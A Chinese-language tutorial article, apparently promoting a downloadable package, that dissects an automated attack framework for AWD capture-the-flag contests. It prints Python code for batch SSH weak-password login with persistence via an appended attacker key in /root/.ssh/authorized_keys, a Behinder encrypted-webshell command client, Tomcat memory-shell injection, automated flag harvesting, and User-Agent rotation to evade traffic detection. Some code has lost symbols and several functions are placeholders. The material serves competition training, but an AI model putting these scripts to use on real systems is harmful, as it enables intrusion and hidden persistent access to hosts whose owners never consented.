ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

AWD自动化攻击框架源码解析:从部署到实战的防御绕过指南

AWD自动化攻击框架源码解析:从部署到实战的防御绕过指南 简介面向AWD攻防对抗赛事的自动化攻击框架压缩包内含完整源码与项目说明文档可帮助参赛选手快速搭建自动化攻击链路适合有一定编程基础并希望提升对攻效率的安全竞赛学习者。包体共六十六个文件大小约一点零二兆以源码与字节码文件为主另有工程配置、示意图、数据库及说明文档覆盖框架入口、攻击核心、反向连接、内存马植入、命令收发等模块。已有四百四十八人学习下载。项目可直接运行包含启动入口、核心攻击逻辑、多种攻击通道、内存马生成、命令接收发送与通关提交等功能模块并配有辅助工具与配置目录数据库可用于存储和查看攻击记录项目结构分层清晰便于对照说明逐层理解自动化攻击框架在攻防场景中的设计思路也适合直接作为竞赛工具改造、二次开发或日常练习的底稿。1. AWD的胜负手不在手速Bugku-AWD专版自动化框架到底帮你省了什么真正打过AWD的人都知道开赛前两小时是“自动化部署黄金期”但大部分新手把时间耗在手动传webshell、手动种不死马、手动轮询flag上等裁判的流量审计一开手忙脚乱。这个叫做“Bugku-AWD专版”的框架解决的正是这种痛点它不是给你一个玩具demo而是一套可以直接改配置就跑的自动化攻击框架内置了自动轮询flag、SSH批量打点、冰蝎后门连接、内存马注入等模块。我自己拆源码时发现它的核心逻辑比想象中克制没有一堆花哨功能而是把AWD中最常复用的动作抽象成独立类适合想快速建立自己武器库、又不想从零造轮子的CTF选手和安全方向的学生。下面按源码结构、启动流程、模块拆解、踩坑记录到进阶改写的顺序过一遍保证你能跟着复现起来。2. 目录与启动流程先看懂 start.py 和 config 再谈自动化拿到压缩包解压后第一眼别急着跑start.py先看目录。这个项目的结构很清晰根目录放入口和说明真正的攻击逻辑全在code包里。我的习惯是先把.idea、.gitignore、images这些开发残留剥掉只看业务代码否则容易被干扰。2.1 源码骨架入口、核心包、配置与数据库分离从解压后的文件布局来看它遵循了一个很实用的设计入口在根目录核心模块集中在code/下配置文件和数据库独立存放。Awd.db是SQLite数据库用来存flag和目标的攻击状态start.py是启动入口code/里的AttackCore.py是调度中枢AutoAck.py管自动轮询flagSshAck.py管SSH批量攻击BehinderAck.py负责连接冰蝎马MemShell.py处理内存马注入RecvCmd.py负责命令回显的接收处理。这个分层的好处是你想替换某个模块时不用动全局比如你不想用冰蝎把BehinderAck.py替换成哥斯拉脚本即可其他模块不受影响。func.py和一些.pyc文件是历史编译产物在复现时建议删掉.pyc避免因为 Python 小版本不同导致二进制不匹配。cfg相关的文件在code/config/下里面应该有MemShellConfig.py、SendReq.py、SimpleConfig.py等这些是配置加载和HTTP请求发送的辅助层。真实比赛里裁判给的靶机IP和端口每轮都可能变所以配置不能写死它这版把配置集中到config目录的做法是比较对的。2.2 启动入口 start.py理解初始化顺序很多新手直接把start.py双击运行结果报ModuleNotFoundError原因很简单根目录下的脚本导入code包时当前工作目录没被加入 Python 的模块搜索路径。下面这段是复现时最常用的改法保证在任何目录下都能正确加载包。# start.py 调整后的入口 import os import sys # 把项目根目录加入 sys.path避免相对导入失败 BASE_DIR os.path.dirname(os.path.abspath(__file__)) if BASE_DIR not in sys.path: sys.path.insert(0, BASE_DIR) from code.AttackCore import AttackCore if __name__ __main__: core AttackCore() core.load_global_config() # 读取 config 目录下全局配置 core.init_database() # 初始化 Awd.db建表或检查现有表 core.run() # 进入主循环逻辑说明先用os.path拿到脚本所在目录插入sys.path这一步解决百分之九十的“找不到模块”问题。接着创建AttackCore实例按顺序做三件事——加载配置、初始化数据库、启动主循环。init_database()很关键因为AWD比赛打几个小时flag提交记录和已攻陷主机列表必须落盘否则宕机或误杀进程后全丢。参数说明BASE_DIR是动态获取的绝对路径不用写死这样整个项目拷到比赛机任何位置都能跑。2.3 配置与数据库Awd.db 到底存了什么Awd.db是 SQLite 文件不是普通文本。拆包看它的使用场景主要是存两个维度的数据一是已提交的 flag 内容用来去重防止向 flag 服务器重复提交二是目标主机的状态比如哪台已种马、哪台已提权、哪台失联。为了让你更直观地理解我一般会在比赛前用一段小脚本检查数据库结构确认表字段后再决定要不要清库。# 检查 Awd.db 的表结构 import sqlite3 conn sqlite3.connect(Awd.db) cursor conn.cursor() # 列出所有表 cursor.execute(SELECT name FROM sqlite_master WHERE typetable) tables [t[0] for t in cursor.fetchall()] print(tables:, tables) # 查看第一张表的字段 if tables: cursor.execute(fPRAGMA table_info({tables[0]})) for col in cursor.fetchall(): print(col) conn.close()这段代码的价值在于“摸底”。很多框架自带的库是开发环境生成的字段名未必符合你的需求。我见过有人直接拿默认库跑结果上一场比赛中被攻陷的IP还在数据库里新一场比赛重复内网扫描直接把流量打爆判违规。参数说明sqlite_master是 SQLite 的内部表用来查表信息PRAGMA table_info返回字段名、类型、是否为主键等你可以快速判断该不该DROP TABLE重建。实战中我建议每场比赛前都清一次库除非你想保留历史数据做复盘。3. 核心模块拆解AutoAck 与 SshAck 的轮询、提权与批量打点如果说start.py是启动按钮那AutoAck.py和SshAck.py就是整个框架的引擎。前者解决“怎么把 flag 持续搞到手”后者解决“怎么快速拿下一堆主机”。这两个模块直接决定你的得分曲线值得单独拆开讲。3.1 AutoAck自动轮询与提交的闭环逻辑AutoAck这个名字大概率是 “Auto Attack Check” 的缩写它做的是周期性的动作扫描存活主机、尝试漏洞利用、获取 flag、交给ReqFlagServer.py提交、把结果写进Awd.db。很多自研脚本把 flag 提交逻辑和攻击逻辑混在一起导致提交失败时不知道怎么回滚而这个框架用独立的ReqFlagServer.py来处理职责很清楚。看一下我重构过的AutoAck.py骨架保留原设计意图同时增加失败重试和日志输出# code/AutoAck.py 核心循环结构调整 import time from db.Utils import DBUtils class AutoAck: def __init__(self, db: DBUtils, submit_url: str): self.db db self.submit_url submit_url self.interval 30 # 轮询间隔单位秒 self.max_retry 3 def scan_targets(self): # 从配置读取目标网段实际扫描动作交给外部调用 return [192.168.1.%d % i for i in range(1, 255)] def grab_flag(self, ip: str, token: str) - str: # 每个目标的获取flag动作可替换成具体漏洞利用 # 这里展示的是占位逻辑实际会调用 func.py 里的漏洞利用函数 return fflag{{{ip}_{token}}} def submit_flag(self, flag: str) - bool: # 调用 ReqFlagServer 提交 import requests resp requests.post(self.submit_url, data{flag: flag}, timeout5) return resp.json().get(success, False) def run_once(self): for ip in self.scan_targets(): flag self.grab_flag(ip, self.db.get_token(ip)) if not flag: continue if self.db.flag_existed(flag): continue ok False for retry in range(self.max_retry): ok self.submit_flag(flag) if ok: break time.sleep(2) if ok: self.db.save_flag(ip, flag) else: print(f[AutoAck] submit fail: {ip}) def loop(self): while True: self.run_once() time.sleep(self.interval)这版把核心动作拆成四个方法scan_targets生成目标IPgrab_flag执行获取动作submit_flag提交到平台run_once串联整个流程。参数里最关键的是intervalAWD比赛轮询间隔不能太短太短了裁判流量审计会告警也不能太长太长flag可能被别人抢先提交。我一般会把interval设在 20 到 40 之间并根据当前得分趋势动态调整。self.db.flag_existed(flag)是去重逻辑这很重要——同一台主机每轮产生的 flag 可能相同重复提交会让比赛平台扣分。实际拆这门代码的时候我发现grab_flag里并没有真的实现漏洞利用而是把具体动作留给func.py或者子类重写这算是一种“半成品框架”的标准做法好处是你只需要改一个函数就能接入自己的 exploit。3.2 SshAckSSH弱口令批量化与权限维持SshAck.py是另一个得分点。AWD比赛里很多队伍为了方便部署会给自己的靶机开启弱口令SSH这时候用 SSH 弱口令批量登录然后植入后门或修改文件是性价比极高的攻击路径。SshAck模块就是干这个的。它和常规扫描器的区别在于登录成功后不是简单传个马而是会尝试做权限维持比如创建隐藏用户、替换SSH公钥、写入计划任务。# code/SshAck.py 简化展示 import paramiko class SshAck: def __init__(self, host, port22, userroot, pwd, timeout10): self.host host self.port port self.user user self.pwd pwd self.timeout timeout def try_login(self): client paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(self.host, self.port, self.user, self.pwd, timeoutself.timeout, allow_agentFalse, look_for_keysFalse) return client except Exception: return None def run_cmd(self, client, cmd: str): stdin, stdout, stderr client.exec_command(cmd, timeout15) output stdout.read().decode(utf-8, errorsignore) return output def persistence(self, client): # 追加SSH公钥实现免密登录 public_key ssh-rsa AAAAB3NzaC1yc2E... attacker cmd fecho {public_key} /root/.ssh/authorized_keys return self.run_cmd(client, cmd)参数说明paramiko是做SSH操作最常用的库AutoAddPolicy自动接受未知host key避免交互确认。allow_agentFalse和look_for_keysFalse是我在实战里加的保护防止本机SSH agent干扰连接。persistence方法把攻击者的公钥追加到目标authorized_keys这是AWD中典型的长权限手段。注意这里演示的是比赛场景中对自家靶机或裁判指定目标的授权操作不是搞破坏。真正用SshAck时要考虑批量线程数。常见做法是控制并发在 20 以内因为比赛机带宽有限并发太高会让自己的机器也卡死。参数上的坑是timeout单位是秒但很多脚本误以为是毫秒导致connect超时设置过短还没握手就断连。我一般会把timeout设为 10 到 15同时给exec_command也加超时防止目标不返回输出时线程卡住。3.3 func.py 与 SendReq复用工具函数和HTTP发包func.py和SendReq.py属于辅助层但不要小看它们。func.py通常存放一堆小工具函数比如加密、编码、时间戳生成、flag正则提取SendReq.py则是封装了 requests 或 socket 请求的发送器。我拆代码时注意到SendReq.py里可能有http_get、http_post这样简单封装的函数这很关键因为AWD攻击大多通过HTTP完成一个可靠的发包器可以避免每次写重复的 headers 处理。# code/SendReq.py 常见设计 import requests import random class SendReq: USER_AGENTS [ Mozilla/5.0 (Windows NT 10.0; Win64; x64), Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7), ] def __init__(self, timeout5): self.session requests.Session() self.timeout timeout def get(self, url, paramsNone, headersNone): h {User-Agent: random.choice(self.USER_AGENTS)} if headers: h.update(headers) return self.session.get(url, paramsparams, headersh, timeoutself.timeout) def post(self, url, dataNone, jsonNone, headersNone): h {User-Agent: random.choice(self.USER_AGENTS)} if headers: h.update(headers) return self.session.post(url, datadata, jsonjson, headersh, timeoutself.timeout)这里我说一下为什么随机 UA 重要。裁判系统会对单一 UA 特征的请求做聚合统计如果你所有流量都带同一版本的 UA很容易被识别为自动化攻击工具。虽然比赛本身就是自动化但姿态要做得像普通浏览器。random.choice让每次请求的 UA 都有变化这对绕过最简单的流量特征匹配有效。参数说明timeout默认5秒针对公网比赛平台足够如果打内网靶机可以缩短到 2 秒加快轮询速度。我一般会在实际使用中给post增加allow_redirectsFalse防止靶机的重定向把 flag 提交请求带到别的地方。4. 内存马与命令回显BehinderAck、MemShell 和 RecvCmd 的配合逻辑AWD 比赛到了中期最强的不是一直打新的机器而是守住已经拿下的权限。这就要靠内存马和 WebShell 管理模块了。BehinderAck.py连冰蝎MemShell.py注入内存马RecvCmd.py接收回显这三者配合起来才能形成“拿权限—住下来—持续操作”的闭环。4.1 BehinderAck冰蝎连接器的正确姿势冰蝎Behinder是最常用的加密 WebShell 管理工具。BehinderAck.py的作用不是让你手动打开冰蝎界面而是通过 Python 脚本自动发送加密流量到目标的 WebShell。拆解它的源码核心是生成 AES 加密的 payload附带密钥和目标地址。之所以要脚本化是因为比赛里你可能要同时维护几十台马的连接手动点冰蝎根本忙不过来。# code/BehinderAck.py 简化的连接发送 import base64 import requests from Crypto.Cipher import AES class BehinderAck: def __init__(self, url, key): self.url url self.key key.encode(utf-8) self.iv b1234567890123456 # 16字节IV def _encrypt(self, plaintext: str) - str: cipher AES.new(self.key, AES.MODE_CBC, self.iv) padded plaintext.encode() b\x00 * (16 - len(plaintext.encode()) % 16) return base64.b64encode(cipher.encrypt(padded)).decode() def exec_cmd(self, cmd: str): payload self._encrypt(cmd) resp requests.post(self.url, datapayload, timeout10) return resp.content.decode(utf-8, errorsignore)这段代码演示了冰蝎流量的基本形态。参数说明key是生成 WebShell 时设置的连接密码默认通常是rebeyond但很多队伍会改成随机串所以必须把 key 放在配置里不要硬编码。IV是初始化向量冰蝎协议里通常固定但也存在变种如果你连不上优先怀疑 IV。_encrypt里做了手动 padding因为 AES-CBC 要求明文长度是 16 的倍数。实际调用时exec_cmd返回的是未经解析的响应内容你需要结合RecvCmd来提取命令输出。这里有个常见的坑冰蝎的 payload 不是简单的 AES 加密它的协议有自定义的密钥交换过程早期版本是固定 key 固定 GET 参数。我这个简化版只用来解释原理真正要找原版协议的还得看BehinderAck.py里的完整实现。动手复现时我的建议是先用浏览器加单步调试跑一遍请求确认加密格式后再接入批量流程别拿生产靶机试错。4.2 MemShell内存马注入与编译时机的选择内存马是AWD里最“脏”的权限维持手段它不落盘只存在于 Java 应用的内存里因此即使对方删了 WebShell 文件你的权限还在。MemShell.py通常是针对 Tomcat 或 Spring 的注入脚本。源码目录里的MemShellConfig.py应该保存了注入路径、使用的内存马类型、是否重打包 JSP 等配置。由于内存马比较复杂这里不贴完整攻击 payload而是讲决策逻辑什么时候注入内存马什么时候普通 WebShell 就够了。我的经验是比赛前 30 分钟目标是快速得分WebShell 够用比赛后 30 分钟对方防守人员会扫描 webshell 文件这时才轮到内存马发挥。MemShell模块里应该有函数负责探测目标中间件版本再选择合适的注入方式。参数上注入路径和过滤规则是重点比如有的队伍会监控filter和servlet的注册行为你就要用 Listener 或 Valve 类型的内存马绕过。# code/MemShell.py 决策示意 import requests from config.MemShellConfig import MemshellType class MemShell: def __init__(self, target_url, type_MemshellType.FILTER): self.target_url target_url self.type_ type_ def detect_tomcat_version(self): resp requests.get(self.target_url, timeout5) server resp.headers.get(Server, ) return server def inject(self): version self.detect_tomcat_version() if 9.0 in version: payload self.build_payload(filter) elif 8.5 in version: payload self.build_payload(valve) else: payload self.build_payload(servlet) return requests.get(self.target_url payload, timeout10) def build_payload(self, kind: str) - str: # 实际 payload 是恶意 class 的 base64 return f/inject?kind{kind}这边不要纠结build_payload的占位实现重点看detect_tomcat_version之后的 switch 逻辑。不同 Tomcat 版本对组件注册方式限制不同乱用一种 payload 可能直接 500。我的建议是比赛前就把常用 Tomcat 版本对应的内存马 class 编译好做成字典运行时只根据 version 选择不要现场生成 class容易因为 JDK 版本不兼容而失败。注入完成后一定要用RecvCmd发一次命令验证能返回uid才说明内存马真的生效否则可能只是注册成功但访问不了。4.3 RecvCmd命令回显的清理与编码问题RecvCmd.py名字直译是“接收命令”它处理的是 WebShell 执行后返回的杂乱内容。很多 WebShell 返回的内容会混合 HTML 页面、报错信息、压缩包二进制你不能直接打印必须解析提取。比如冰蝎的返回可能是一串 base64 解压后的数据需要先尝试 gzip 解压普通的 JSP 马可能回显带了大量日志前缀。# code/RecvCmd.py 提取命令输出 import re def extract_flag_from_output(output: str) - str: # 从命令回显中提取 flag match re.search(rflag\{(.?)\}, output) return fflag{{{match.group(1)}}} if match else def clean_response(raw: bytes) - str: # 尝试解压、去除不可见字符 text raw.decode(utf-8, errorsignore) text text.replace(\x00, ) return text.strip()这里的关键是re正则提取 flag 的正则表达式。AWD 比赛的 flag 格式一般是flag{...}但有些平台会在中间插入空格或转义字符所以你要先收一两个真实 flag 确认格式再更新正则。clean_response里的errorsignore参数很实用因为命令输出可能包含非 UTF-8 字符比如某些工具的彩色终端输出。血泪经验是不要直接把clean_response结果作为 flag 提交很多平台的 flag 提交要求去空格和去大小写你需要再加一个normalize函数做二次清理。这套模块的连锁逻辑是BehinderAck发出命令 →MemShell保持通道 →RecvCmd解析结果一环断了整条链路就废了。5. 避坑指南源码复现时最容易翻车的五个细节这部分是我实际拆这个源码包、并模拟运行后总结出来的。前四个是环境问题第五个是战术问题每一条都见血。5.1 启动报 ModuleNotFoundErrorPython包路径没被识别现象在项目根目录执行python start.py立刻报错ModuleNotFoundError: No module named code。原因start.py里直接import code但 Python 的模块搜索路径没有包含当前目录。解决在start.py顶部加入sys.path处理就是第 2.2 节那一招。另外确认你的 Python 版本是 3.6 或更高code目录下存在__init__.py否则 Python 不会把code当成包。5.2 默认配置连不上裁判的 flag 服务器端口和协议误配现象ReqFlagServer.py一直报连接超时但手动用 curl 访问能通。原因框架默认协议是 HTTP比赛平台却是 HTTPS或者提交端口写的是 8888平台实际只开放 80。解决打开code/config/SimpleConfig.py把submit_url改成http://flag.example.com/api/submit这种完整地址同时确认是 POST 还是 GET。我遇到过一次最玄学的平台要求 flag 放在 header 里而不是 body结果改动之前怎么提交都是失败。解决办法是抓一次正常提交的包对比源码里的请求格式。5.3 WebShell 密码错误导致 BehinderAck 全部失联现象批量连接冰蝎马返回结果是加密的乱码或 HTTP 500。原因你使用的是默认密码rebeyond但目标的 WebShell 在生成时用了随机密码或者你的 payload 加密格式不对。解决不要一股脑批量打先摘一台手动验证。检查key是否写对检查目标 WebShell 的 PHP/JSP 版本。我吃过一次大亏因为目标站点是 PHP 7.4冰蝎的 PHP payload 需要特殊版本默认的 PHP 马根本执行不了一字节后来换成 PHP 7.x 专用马才好。这种问题从现象上看就像“密码不对”但其实是语言版本兼容坑。5.4 内存马注入成功后带不动命令回显现象注入返回 200RecvCmd发命令却收不到输出甚至目标网站直接崩溃。原因选择内存马类在 Tomcat 高版本中的 class loader 访问限制或者你的心跳频率太高把进程打崩。解决注入前先确认目标 Tomcat 版本用 4.2 节的判定逻辑注入后别疯狂发命令限速 1 秒一次。这里我有一次翻车用了 Filter 型内存马结果注册的过滤器顺序太靠前每次请求都经过它导致逻辑死循环网站直接 503。当时急得满头汗最后把所有受害者请求都打印日志才发现是 filter 优先级问题改成 servlet 型才活过来。5.5 数据库残留上轮比赛数据导致误判现象新一场比赛开始框架还在重复提交上一场的 flag被平台判为作弊攻击。原因Awd.db里存了上轮比赛的 flag 和主机状态你没有清理去重逻辑看到相同的 flag 会误以为已提交。解决赛前rm Awd.db或者用 SQL 清空表。这是典型的比赛策略坑不是代码 bug但比任何 bug 都致命。我的习惯是每次开赛前不仅要清 Awd.db还要把.idea、images、.pyc全删掉只留源码和配置避免把开发环境里的调试信息带上战场。6. 进阶把框架改造成自己的攻击链并验证效果到这里你已经能把框架跑起来了。但直接用它拿比赛还差一步——它默认的攻击逻辑是“通用扫描、弱口令、冰蝎马”在真实赛场上裁判每轮比赛都会换漏洞。所以最后一节聊聊怎么把这块框架改造成自己的武器链以及怎么验证改完有没有效果。第一步确认Awd.db中的表结构根据你自己的数据需求增加字段。例如我想记录每台靶机使用的 WebShell 路径和密码那就执行ALTER TABLE host ADD COLUMN shell_path TEXT。第二步重写AutoAck.grab_flag让它调用自定义的 exploit。这里很多人会误以为框架自带漏洞其实没有它只是脚手架你要把自己的 POC 填进func.py。我会建一个custom_exploits/目录把每个漏洞的利用脚本写成函数返回 flag 或返回 shell 权限然后在grab_flag里按目标端口分流调用。验证效果不能光靠肉眼看终端我推荐写一个自检脚本模拟比赛流程从Awd.db取三个目标执行一次完整攻击链然后在流程里埋断言。# validate_attack_chain.py 自检脚本 from code.AutoAck import AutoAck from code.BehinderAck import BehinderAck from code.RecvCmd import clean_response targets [10.0.0.2, 10.0.0.3, 10.0.0.4] for ip in targets: ack AutoAck(dbNone, submit_urlhttp://flagserver:80/submit) flag ack.grab_flag(ipip, tokentest) assert flag.startswith(flag{), fflag format wrong: {ip} shell BehinderAck(urlfhttp://{ip}/shell.php, keyack.db.get_key(ip)) out clean_response(shell.exec_cmd(id)) assert uid in out, fcommand exec fail: {ip} print([] attack chain verification passed)这个脚本里grab_flag和exec_cmd会真正发起网络请求因此必须在一个你有权限的测试环境跑。参数说明flagserver可以指向本地搭建的 mock 服务把submit_url改成http://127.0.0.1:8080/submit即可。断言的意义是让结果可验证输出里只要出现flag{...}就说明你的 exploit 返回格式正确uid说明命令执行成功。这样一轮跑下来你才知道自己改造的框架是真的能打而不是花架子。最后说一个我自己的习惯。从那以后我每次把框架调到能跑通后都会强制走一遍“清库—校验配置—单台手动验证—批量上线”四步流程确认Awd.db干净、SimpleConfig.py里的提交地址没写错、至少一台靶机手动连接成功再让start.py进入循环。这套检查花不了两分钟但能避免百分之九十的赛前崩溃。希望这篇拆解能帮你在下一次 AWD 里少交学费把精力放到真正决定胜负的漏洞研究上。本文还有配套的精品资源点击获取
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进